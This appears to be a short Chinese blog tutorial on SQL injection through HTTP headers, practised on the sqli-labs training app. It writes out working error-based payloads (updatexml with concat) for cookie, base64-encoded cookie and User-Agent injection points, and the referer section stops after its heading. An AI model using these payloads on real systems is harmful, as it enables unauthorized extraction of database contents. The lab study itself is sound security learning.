2.HTTP头部注入
其余web文章参考:web学习目录
三个参数传递方式,get、post、cookie
1. cookie注入
以sqli-lab第20关为例,注入点cookie中,用Dumb/Dumb登录,包发送到repeater模块
使用单引号有报错,但是加入#号后无报错,此处可以使用报错注入
使用如下语句:
Cookie: uname=Dumb' and updatexml(1,concat(0x5e,(select database()),0x5e),1)#
2. base64注入
以sqli-lab第22关为例,注入的参数需要进行base64编码
首先找到对应的cookie传递参数,此处为admin4
使用解码模块,将对应的数据解码后得到admin4
使用单引号、双引号判断此处为双引号字符型注入,然后用#注释掉后面的语句,双引号就没有报错
admin4" and updatexml(1,concat(0x5e,(select database()),0x5e),1)#
最终结果如下图所示
3. User-Agent注入
以第十八关为例,
此处因为有括号,判断是个insert语句,不是sql语句
使用and '1
User-Agent:1' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
4. referer注入
以19关为例
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具